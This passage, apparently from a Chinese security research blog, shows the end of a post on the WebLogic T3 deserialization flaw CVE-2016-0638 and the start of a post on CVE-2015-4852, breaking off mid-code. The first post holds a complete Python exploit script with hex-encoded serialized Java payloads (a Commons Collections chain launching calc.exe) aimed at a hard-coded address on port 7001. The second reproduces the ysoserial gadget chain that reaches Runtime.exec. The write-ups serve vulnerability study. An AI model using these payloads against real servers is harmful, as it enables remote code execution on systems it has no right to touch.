class="s">'aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78'</span><span class="p">,</span><span class="s">'aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870'</span><span class="p">,</span><span class="s">'aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078'</span><span class="p">]</span> +<span class="n">VER_SIG</span><span class="o">=</span><span class="p">[</span><span class="s">'weblogic.jms.common.StreamMessageImpl'</span><span class="p">]</span> + +<span class="k">def</span> <span class="nf">t3handshake</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">server_addr</span><span class="p">):</span> + <span class="n">sock</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">server_addr</span><span class="p">)</span> + <span class="n">xx</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">'74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">xx</span><span class="p">)</span> + <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span> + +<span class="k">def</span> <span class="nf">buildT3RequestObject</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">rport</span><span class="p">):</span> + <span class="n">data1</span> <span class="o">=</span> <span class="s">'000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'</span> + <span class="n">data2</span> <span class="o">=</span> <span class="s">'007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="s">'{:04x}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">rport</span><span class="p">))</span> + <span class="n">data3</span> <span class="o">=</span> <span class="s">'1a7727000d3234322e323134'</span> + <span class="n">data4</span> <span class="o">=</span> <span class="s">'2e312e32353461863d1d0000000078'</span> + <span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="p">[</span><span class="n">data1</span><span class="p">,</span><span class="n">data2</span><span class="p">,</span><span class="n">data3</span><span class="p">,</span><span class="n">data4</span><span class="p">]:</span> + <span class="n">xx</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">d</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">xx</span><span class="p">)</span> + <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> + +<span class="k">def</span> <span class="nf">sendEvilObjData</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">data</span><span class="p">):</span> + <span class="n">payload</span><span class="o">=</span><span class="s">'056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'</span> + <span class="n">payload</span><span class="o">+=</span><span class="n">data</span> + <span class="n">payload</span><span class="o">+=</span><span class="s">'fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'</span> + <span class="n">payload</span> <span class="o">=</span> <span class="s">'</span><span class="si">%</span><span class="s">s</span><span class="si">%</span><span class="s">s'</span><span class="o">%</span><span class="p">(</span><span class="s">'{:08x}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">//</span><span class="mi">2</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span><span class="n">payload</span><span class="p">)</span> + <span class="n">xx</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">xx</span><span class="p">)</span> + <span class="n">res</span> <span class="o">=</span> <span class="s">''</span> + <span class="k">try</span><span class="p">:</span> + <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> + <span class="n">res</span> <span class="o">+=</span> <span class="n">sock</span><span class="o">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">4096</span><span class="p">)</span> + <span class="n">time</span><span class="o">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span> + <span class="k">except</span> <span class="nb">Exception</span><span class="p">:</span> + <span class="k">pass</span> + <span class="k">return</span> <span class="n">res</span> +<span class="k">def</span> <span class="nf">checkVul</span><span class="p">(</span><span class="n">res</span><span class="p">,</span><span class="n">index</span><span class="p">):</span> + <span class="n">p</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="n">findall</span><span class="p">(</span><span class="n">VER_SIG</span><span class="p">[</span><span class="n">index</span><span class="p">],</span> <span class="n">res</span><span class="p">,</span> <span class="n">re</span><span class="o">.</span><span class="n">S</span><span class="p">)</span> + <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">p</span><span class="p">)</span><span class="o">&gt;</span><span class="mi">0</span><span class="p">:</span> + <span class="n">logging</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">'[+]The target weblogic has a JAVA deserialization vulnerability:{}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">VUL</span><span class="p">[</span><span class="n">index</span><span class="p">]))</span> + <span class="k">print</span> <span class="p">(</span><span class="s">'[+]The target weblogic has a JAVA deserialization vulnerability:{}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">VUL</span><span class="p">[</span><span class="n">index</span><span class="p">]))</span> + <span class="k">else</span><span class="p">:</span> + <span class="n">logging</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">'[-]Target weblogic not detected {}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">VUL</span><span class="p">[</span><span class="n">index</span><span class="p">]))</span> + <span class="k">print</span> <span class="p">(</span><span class="s">'[-]Target weblogic not detected {}'</span><span class="o">.</span><span class="nb">format</span><span class="p">(</span><span class="n">VUL</span><span class="p">[</span><span class="n">index</span><span class="p">]))</span> + +<span class="k">def</span> <span class="nf">run</span><span class="p">(</span><span class="n">rip</span><span class="p">,</span><span class="n">rport</span><span class="p">,</span><span class="n">index</span><span class="p">):</span> + <span class="n">sock</span> <span class="o">=</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> + <span class="n">sock</span><span class="o">.</span><span class="n">settimeout</span><span class="p">(</span><span class="mi">10</span><span class="p">)</span> + <span class="n">server_addr</span> <span class="o">=</span> <span class="p">(</span><span class="n">rip</span><span class="p">,</span> <span class="n">rport</span><span class="p">)</span> + <span class="n">t3handshake</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">server_addr</span><span class="p">)</span> + <span class="n">buildT3RequestObject</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">rport</span><span class="p">)</span> + <span class="n">rs</span><span class="o">=</span><span class="n">sendEvilObjData</span><span class="p">(</span><span class="n">sock</span><span class="p">,</span><span class="n">PAYLOAD</span><span class="p">[</span><span class="n">index</span><span class="p">])</span> + <span class="n">checkVul</span><span class="p">(</span><span class="n">rs</span><span class="p">,</span><span class="n">index</span><span class="p">)</span> + +<span class="k">if</span> <span class="n">__name__</span><span class="o">==</span><span class="s">"__main__"</span><span class="p">:</span> + <span class="n">dip</span> <span class="o">=</span> <span class="s">'172.16.100.97'</span> + <span class="n">dport</span> <span class="o">=</span> <span class="mi">7001</span> + <span class="n">run</span><span class="p">(</span><span class="n">dip</span><span class="p">,</span><span class="n">dport</span><span class="p">,</span><span class="mi">0</span><span class="p">)</span> + +</code></pre></div></div> + +<p>​ <em>信息 9</em></p> + +<h2 id="0x03-补丁">0x03 补丁</h2> + +<p>略</p> + +<h2 id="0x04-参考">0x04 参考</h2> + +<ol> + <li>“WeblogicScan” _https://github.com/rabbitmask/WeblogicR</li> +</ol>Weblogic T3反序列化之二: CVE-2016-0638Weblogic反序列化开篇:cve_2015_48522020-01-27T00:00:00+00:002020-01-27T00:00:00+00:00/2020/01/27/Weblogic%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%BC%80%E7%AF%87:CVE_2015_4852<h1 id="weblogic-t3反序列化开篇cve-2015-4852">Weblogic T3反序列化开篇:CVE-2015-4852</h1> + +<h2 id="0x00-漏洞描述">0x00 漏洞描述</h2> + +<p>即<code class="language-plaintext highlighter-rouge"> JAVA Apache-CommonsCollections 序列化RCE漏洞</code>。</p> + +<h2 id="0x01-漏洞分析">0x01 漏洞分析</h2> + +<p>Weblogic: 10.3.6.0</p> + +<p>JDK:1.6</p> + +<p><code class="language-plaintext highlighter-rouge">参考1</code>已经非常详细地介绍了这个漏洞的原理。其中涉及三个比较重要的部分:1) 入口反序列化点 2)利用链 3)T3协议 下面详细介绍一下。</p> + +<h3 id="入口反序列化点">入口反序列化点</h3> + +<p>这个漏洞/PoC选用的反序列化入口点是<code class="language-plaintext highlighter-rouge">AnnotationInvocationHandler::readObject</code>,一来可以被外界访问;二来这个入口点跟利用链是紧密相关的。</p> + +<h3 id="利用链">利用链</h3> + +<p>注意本小节是直接将<code class="language-plaintext highlighter-rouge">参考1</code>中原文部分<strong>拷贝</strong>过来,稍微排版一下。</p> + +<p>利用链的核心代码来自<code class="language-plaintext highlighter-rouge">参考3</code>,如下:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* + Gadget chain: + ObjectInputStream.readObject() + AnnotationInvocationHandler.readObject() + Map(Proxy).entrySet() + AnnotationInvocationHandler.invoke() + LazyMap.get() + ChainedTransformer.transform() + ConstantTransformer.transform() + InvokerTransformer.transform() + Method.invoke() + Class.getMethod() + InvokerTransformer.transform() + Method.invoke() + Runtime.getRuntime() + InvokerTransformer.transform() + Method.invoke() + Runtime.exec() + Requires: + commons-collections + */</span> + <span class="kd">public</span> <span class="nc">InvocationHandler</span> <span class="nf">getObject</span><span class="o">(</span><span class="kd">final</span> <span class="nc">String</span> <span class="n">command</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span> + <span class="kd">final</span> <span class="nc">String</span><span class="o">[]</span> <span class="n">execArgs</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">String</span><span class="o">[]</span> <span class="o">{</span> <span class="n">command</span> <span class="o">};</span> + <span class="c1">// inert chain for setup</span> + <span class="kd">final</span> <span class="nc">Transformer</span> <span class="n">transformerChain</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ChainedTransformer</span><span class="o">(</span> + <span class="k">new</span> <span class="nc">Transformer</span><span class="o">[]{</span> <span class="k">new</span> <span class="nc">ConstantTransformer</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span> <span class="o">});</span> + <span class="c1">// real chain for after setup</span> + <span class="kd">final</span> <span class="nc">Transformer</span><span class="o">[]</span> <span class="n">transformers</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Transformer</span><span class="o">[]</span> <span class="o">{</span> + <span class="k">new</span> <span class="nf">ConstantTransformer</span><span class="o">(</span><span class="nc">Runtime</span><span class="o">.</span><span class="na">class</span><span class="o">),</span> + <span class="k">new</span> <span class="nf">InvokerTransformer</span><span class="o">(</span><span class="s">"getMethod"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span> + <span class="nc">String</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">Class</span><span class="o">[].</span><span class="na">class</span> <span class="o">},</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]</span> <span class="o">{</span> + <span class="s">"getRuntime"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">}),</span> + <span class="k">new</span> <span class="nf">InvokerTransformer</span><span class="o">(</span><span class="s">"invoke"</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span> + <span class="nc">Object</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[].</span><span class="na">class</span> <span class="o">},</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[]</span> <span class="o">{</span> + <span class="kc">null</span><span class="o">,</span> <span class="k">new</span> <span class="nc">Object</span><span class="o">[</span><span class="mi">0</span><span class="o">]</span> <span class="o">}),</span> + <span class="k">new</span> <span class="nf">InvokerTransformer</span><span class="o">(</span><span class="s">"exec"</span><span class="o">,</span> + <span class="k">new</span> <span class="nc">Class</span><span class="o">[]</span> <span class="o">{</span> <span class="nc">String</span><span class="o">.</span><span class="na">class</span> <span class="o">},</span> <span class="n">execArgs</span><span class="o">),</span> + <span class="k">new</span> <span class="nf">ConstantTransformer</span><span class="o">(</span><span class="mi">1</span><span class="o">)</span> <span class="o">};</span> + + <span class="kd">final</span> <span class="nc">Map</span> <span class="n">innerMap</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span> + + <span class="kd">final</span> <span class="nc">Map</span> <span class="n">lazyMap</span> <span class="o">=</span> <span class="nc">LazyMap</span><span class="o">.</span><span class="na">decorate</span><span class="o">(</span><span class="n">innerMap</span><span class="o">,</span> <span class="n">transformerChain</span><span class="o">);</span> + + <span class="kd">final</span> <span class="nc">Map</span> <span class="n">mapProxy</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoitizedProxy</span><span class="o">(</span><span class="n">lazyMap</span><span class="o">,</span> <span class="nc">Map</span><span class="o">.</span><span class="na">class</span><span class="o">);</span> + + <span class="kd">final</span> <span class="nc">InvocationHandler</span> <span class="n">handler</span> <span class="o">=</span> <span class="nc">Gadgets</span><span class="o">.</span><span class="na">createMemoizedInvocationHandler</span><span class="o">(</span><span class="n">mapProxy</span><span class="o">);</span> + + <span class="nc">Reflections</span><span class="o">.</span><span class="na">setFieldValue</span><span class="o">(</span><span class="n">transformerChain</span><span class="o">,</span> <span class="s">"iTransformers"</span><span class="o">,</span> <span class="n">transformers</span><span class="o">);</span> <span class="c1">// arm with actual transformer chain</span> + + <span class="k">return</span> <span class="n">handler</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 1</em></p> + +<p>我们先来看一下 Transformer 接口,该接口仅定义了一个方法 transform(Object input):</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">package</span> <span class="n">org</span><span class="o">.</span><span class="na">apache</span><span class="o">.</span><span class="na">commons</span><span class="o">.</span><span class="na">collections</span><span class="o">;</span> + +<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">Transformer</span> <span class="o">{</span> + <span class="nc">Object</span> <span class="nf">transform</span><span class="o">(</span><span class="nc">Object</span> <span class="n">var1</span><span class="o">);</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 2</em></p> + +<p>我们可以看到该方法的作用是:给定一个 Object 对象经过转换后也返回一个 Object,该 PoC 中利用的是三个实现类:<code class="language-plaintext highlighter-rouge">ChainedTransformer</code>,<code class="language-plaintext highlighter-rouge">ConstantTransformer</code>,<code class="language-plaintext highlighter-rouge">InvokerTransformer</code></p> + +<p>首先看 InvokerTransformer 类中的 transform() 方法:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="nc">Object</span> <span class="nf">transform</span><span class="o">(</span><span class="nc">Object</span> <span class="n">input</span><span class="o">)</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="n">input</span> <span class="o">==</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span> <span class="kc">null</span><span class="o">;</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="k">try</span> <span class="o">{</span> + <span class="nc">Class</span> <span class="n">cls</span> <span class="o">=</span> <span class="n">input</span><span class="o">.</span><span class="na">getClass</span><span class="o">();</span> + <span class="nc">Method</span> <span class="n">method</span> <span class="o">=</span> <span class="n">cls</span><span class="o">.</span><span class="na">getMethod</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">iMethodName</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">iParamTypes</span><span class="o">);</span> + <span class="k">return</span> <span class="n">method</span><span class="o">.</span><span class="na">invoke</span><span class="o">(</span><span class="n">input</span><span class="o">,</span> <span class="k">this</span><span class="o">.</span><span class="na">iArgs</span><span class="o">);</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NoSuchMethodException</span> <span class="n">var5</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">FunctorException</span><span class="o">(</span><span class="s">"InvokerTransformer: The method '"</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">iMethodName</span> <span class="o">+</span> <span class="s">"' on '"</span> <span class="o">+</span> <span class="n">input</span><span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">+</span> <span class="s">"' does not exist"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">IllegalAccessException</span> <span class="n">var6</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">FunctorException</span><span class="o">(</span><span class="s">"InvokerTransformer: The method '"</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">iMethodName</span> <span class="o">+</span> <span class="s">"' on '"</span> <span class="o">+</span> <span class="n">input</span><span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">+</span> <span class="s">"' cannot be accessed"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">InvocationTargetException</span> <span class="n">var7</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">FunctorException</span><span class="o">(</span><span class="s">"InvokerTransformer: The method '"</span> <span class="o">+</span> <span class="k">this</span><span class="o">.</span><span class="na">iMethodName</span> <span class="o">+</span> <span class="s">"' on '"</span> <span class="o">+</span> <span class="n">input</span><span class="o">.</span><span class="na">getClass</span><span class="o">()</span> <span class="o">+</span> <span class="s">"' threw an exception"</span><span class="o">,</span> <span class="n">var7</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 3</em></p> + +<p>可以看到该方法中采用了反射的方法进行函数调用,Input 参数为要进行反射的对象 iMethodName , iParamTypes 为调用的方法名称以及该方法的参数类型,iArgs 为对应方法的参数,这三个参数均为可控参数:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nf">InvokerTransformer</span><span class="o">(</span><span class="nc">String</span> <span class="n">methodName</span><span class="o">,</span> <span class="nc">Class</span><span class="o">[]</span> <span class="n">paramTypes</span><span class="o">,</span> <span class="nc">Object</span><span class="o">[]</span> <span class="n">args</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">iMethodName</span> <span class="o">=</span> <span class="n">methodName</span><span class="o">;</span> + <span class="k">this</span><span class="o">.</span><span class="na">iParamTypes</span> <span class="o">=</span> <span class="n">paramTypes</span><span class="o">;</span> + <span class="k">this</span><span class="o">.</span><span class="na">iArgs</span> <span class="o">=</span> <span class="n">args</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 4</em></p> + +<p>接下来我们看一下 ConstantTransformer 类的 transform() 方法:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nf">ConstantTransformer</span><span class="o">(</span><span class="nc">Object</span> <span class="n">constantToReturn</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">iConstant</span> <span class="o">=</span> <span class="n">constantToReturn</span><span class="o">;</span> + <span class="o">}</span> + + <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">transform</span><span class="o">(</span><span class="nc">Object</span> <span class="n">input</span><span class="o">)</span> <span class="o">{</span> + <span class="k">return</span> <span class="k">this</span><span class="o">.</span><span class="na">iConstant</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 5</em></p> + +<p>该方法很简单,就是返回 iConstant 属性,该属性也为可控参数。</p> + +<p>最后一个ChainedTransformer类很关键,我们先看一下它的构造函数:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nf">ChainedTransformer</span><span class="o">(</span><span class="nc">Transformer</span><span class="o">[]</span> <span class="n">transformers</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">iTransformers</span> <span class="o">=</span> <span class="n">transformers</span><span class="o">;</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 6</em></p> + +<p>我们可以看出它传入的是一个 Transformer 数组,接下来看一下它的 transform() 方法:</p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nc">Object</span> <span class="nf">transform</span><span class="o">(</span><span class="nc">Object</span> <span class="n">object</span><span class="o">)</span> <span class="o">{</span> + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">i</span> 